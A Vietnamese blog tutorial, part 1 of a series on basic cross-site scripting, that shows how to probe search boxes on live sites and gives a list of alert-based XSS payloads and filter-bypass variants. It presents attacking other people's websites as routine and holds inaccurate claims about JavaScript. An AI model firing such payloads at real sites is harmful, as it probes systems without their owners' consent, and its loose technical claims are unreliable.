J2TEAM Security: A must-have extension for Chrome users. Install now!

[XSS] Bài 1: Basic XSS

XSS được viết tắt bởi Cross-Site-Scripting. Nó là một cách tấn công cơ bản. Và nó dựa trên việc thực thi HTML và JavaScript trên một trang web.
Xin chào và cảm ơn đã đọc bài hướng dẫn về XSS này của tôi! Bạn có thể hỏi là tại sao tôi lại viết bài hướng dẫn này? Hộp thư của tôi đã quá đầy và thực sự tôi đã nhận được rất nhiều yêu cầu về việc viết 1 bài hướng dẫn. Tôi đã gửi những báo cáo về lỗ hổng XSS tới Google, Facebook, Defense.gov và nhiều trang web lớn khác.


XSS là gì?

XSS được viết tắt bởi Cross-Site-Scripting. Nó là một phương pháp tấn công cơ bản. Nó dựa trên việc thực thi HTMLJavaScript trên một trang web. Việc tấn công này có thể xảy ra khi xác nhận những lệnh ở các text-box, hoặc cũng có thể là trên thanh URL. Những kết quả được đọc dưới dạng HTML, vì vậy nó sử dụng một vài thủ thuật Social-Engineering để tác động đến 1 ai đó tải một virus mà chính bạn đã tạo ra, và là tiềm năng cho một botnet, hoặc RAT, cũng có thể là 1 keylogger. XSS có thể trở nên rất nguy hiểm, Nhưng cũng có thể rất vô hại.

Phần lớn các cuộc tất công của tôi là 1 cuộc tấn công XSS vô hại. Trên đây là 1 số cách để sử dụng XSS để nâng cao trình độ của bạn. Tôi sẽ đi qua một số nhỏ những ví dụ. Bạn có thể sử dụng hộp cảnh báo để quảng bá chính bạn (LOL), hoặc cảnh báo người quản trị website mà bạn phát hiện ra một vi phạm an ninh bởi XSS. Bạn cũng có thể cài đặt 1 Cookie Stealer/Logger. Bất cứ những gì bạn có thể làm với HTML. Đều được sử dụng lại nhiều lần với 1trang bởi XSS. Tôi sẽ giải thích một số trong hầu hết những điều quan trọng liên quan đến XSS.

HTML và Javascript là gì?

HTML
HTML là một loại giống như một ngôn ngữ lập trình. Phân biệt giữa các ngôn ngữ lập trình và HTML thì thực ra là nó không quá khác nhau. Chúng là những ngôn ngữ, Đều có thể tạo ra các thuộc tính, sự kiện. HTML là một ngôn ngữ đánh dấu, Mà được sử dụng để tạo ra các website. HTML được viết tắt từ HYPER - TEXT MARKUP LANGUAGE. Bạn có thể sử dụng HTML để tạo ra các FORMS ( Các ô điền! EX: Ô Username, password), Các Buttons (Ex: Nút đăng ký, xác nhận) và những thứ khác mà có thể sử dụng trong trình duyệt web. Trang web nào cũng sử dụng HTML. Nên bạn yên tâm. Bài viết này không thừa

JavaScript
Bây giờ, Đầu tiên, Nói thẳng luôn. Có một sự khác nhau to lớn giữa java và javascript. Java, là một ngôn ngữ tương tự C++. Nó có thể sự dụng trong các game. Còn trong các ứng dụng Javasript là một loại tương tự như HTML. Nhưng có một vài cách định nghĩa khác. Javascript không được sử dụng gần với web hơn HTML. Javascript được sử dụng nhiều hơn với các ứng dụng nằm ngoài trang web. Javascript có thể vô cùng hữ dụng cùng với HTML. Chúng là những điều đơn giản để học, và rất năng động

XSS: Cuộc tấn công đầu tiên của tôi
Nào, hãy bắt đầu lấy những thứ hữu dụng, trong phần này. Tôi sẽ giới thiệu làm cách nào để sử dụng XSS để nâng cao trình độ của bạn. Chúng ta cũng sẽ xem những cuộc tấn công đầu tiên với XSS. Nếu bạn biết căn bản về XSS bạn có thể bỏ qua phần này, bởi vì tôi nghi ngờ bạn sẽ học bất cứ thứ gì mà bạn chưa biết.

Bây giờ, bước đầu tiên của chúng ta là cố gắng tìm ra một website có lỗi. Tìm một website có lỗi về XSS là một điều dễ dàng hơn việc tìm một website có lỗi SQLi. Với SQLI, bạn có thể thêm '. Nhưng với XSS bạn phải xác nhận (thi thoảng) nhiều lệnh. Để kiểm tra website của bạn với XSS

Hầu hết các site lỗi đều chứa những khu vực như Search(tìm kiếm), Login (Đăng nhập) hoặc Register (Đăng ký). Tuyệt vời hơn là bất cứ nơi nào mà chứa textbox, có thể khai thác với XSS. Tuy nhiên một số người quên điều thực tế này, và không bao giờ sử dụng chúng một cách hiệu quả bởi vì họ nghĩ chúng không hữu dụng. Bạn có thể khai thác XSS thông qua source cũng được. Tôi sẽ giới thiệu phương thức này của XSS sau, còn bây giờ chúng ta cần một 1 ví dụ hoàn toàn cơ bản.

Bằng bất cứ cách nào, website của ta cũng có Texboxes để nhập. Tôi đơn giản sử dụng một thanh Search
Vì vậy, hãy cố gắng tập trung. Lệnh cơ bản xuyên suốt quá trình về XSS
<script>alert("XSS")</script>
Đó là 1 ví dụ nhỏ, là HTML. Nó sẽ làm cho một ít thông báo bật lên,thông báo: "XSS". Bạn có thể chỉnh sửa một phần nếu bạn muốn. Chỉ cần không sửa đổi bất kỳ các bộ phận khác của kịch bản. Đặt vào thanh tìm kiếm của bạn, và nhấn Enter. Bây giờ, nếu một hộp cảnh báo ít xuất hiện, bạn đã thành công tấn công một trang web dễ bị tổn thương XSS!

Nếu không có hộp xuất hiện, trang đó an toàn với mã trên của chúng ta, bởi vì có nghĩa là trang web đã thực hiện đưa request vào một bộ lọc. Một bộ lọc, là khi chúng ta tìm kiếm một cái gì đó, sau đó nó đi qua một quá trình nhỏ, về tìm kiếm cơ bản. Nó kiểm tra đối với bất kỳ những thứ độc hại (nguy hiểm). Trong trường hợp này, nó đã tìm được XSS.

Đôi khi, các bộ lọc này rất yếu, và có thể được thông qua rất dễ dàng, thời gian khác, họ có thể khá khó khăn để vượt qua. Có rất nhiều cách để bỏ qua một bộ lọc XSS. Trước tiên, chúng ta phải tìm ra những gì các bộ lọc chặn. Nó là blockin cảnh báo. Dưới đây là một ví dụ về loại này của bộ lọc:
<script>alert("XSS")</script>
Được chuyển thành
<script>alert( > XSS DETECTED < )</script>
Nó sẽ ngăn chặn các dấu ngoặc kép. Vì vậy, làm thế b` nào để chúng ta thông qua? Vâng, may mắn có một cách để mã hóa thông điệp đầy đủ. Chúng ta sẽ sử dụng một chức năng nhỏ được gọi là "String.FromCharCode". Tên của nó đã giải thích tất cả. Nó mã hóa văn bản của chúng ta, thành ASCII. Một ví dụ về mã hóa này, sẽ được như thế này:
String.fromCharCode(88,83,83)
Có, nó có thể được một chút rắc rối nhỏ, nhưng với một chút giải thích, và thử nghiệm, nó là khá đơn giản. Đây là những gì truy vấn đầy đủ của chúng ta sẽ xem xét như:
<script>alert(String.fromCharCode(88,83,83))</script>
Bạn không cần bất kỳ dấu ngoặc kép trong các truy vấn đơn giản như thế. Vì vậy, cho phép đưa nó trở lại vào thanh tìm kiếm, và thì đấy!Nó làm việc! Chúng ta có một hộp cảnh báo nói rằng "XSS"! Nếu bạn vẫn không nhận được bất kỳ hộp cảnh báo, hãy thử một số các truy vấn này mà tôi muốn sử dụng:
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83)) </script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83)) </ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
</script><script>alert("XSS")</script>
</script><script>alert(String.fromCharCode(88,83,83) )</script>
"/><script>alert("XSS")</script>
"/><script>alert(String.fromCharCode(88,83,83))</script>
'/><script>alert("XSS")</script>
'/><script>alert(String.fromCharCode(88,83,83))</script>
</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,8 3))
</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83 ,83))</SCRIPT>
";alert("XSS");"
";alert(String.fromCharCode(88,83,83));"
';alert("XSS");'
';alert(String.fromCharCode(88,83,83));'
";alert("XSS")
";alert(String.fromCharCode(88,83,83))
';alert("XSS")
';alert(String.fromCharCode(88,83,83))
Vâng, tôi chỉ viết tất cả, nó là những cách bypass bộ lọc. Nhưng tất cả chúng đều làm việc theo cách riêng của chúng, vì vậy hãy thử hết trong số chúng nếu bạn có thể. Tôi đã tấn công một số trang web khá lớn với một số những truy vấn. Tôi tạo ra các truy vấn riêng của tôi đôi khi, bạn nên tạo ra một số, chúng chứa rất nhiều tiện dụng.

Đọc tiếp phần 2: https://junookyo.blogspot.com/2011/12/bay-gio-trong-phan-nay-toi-se-chia-se.html
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!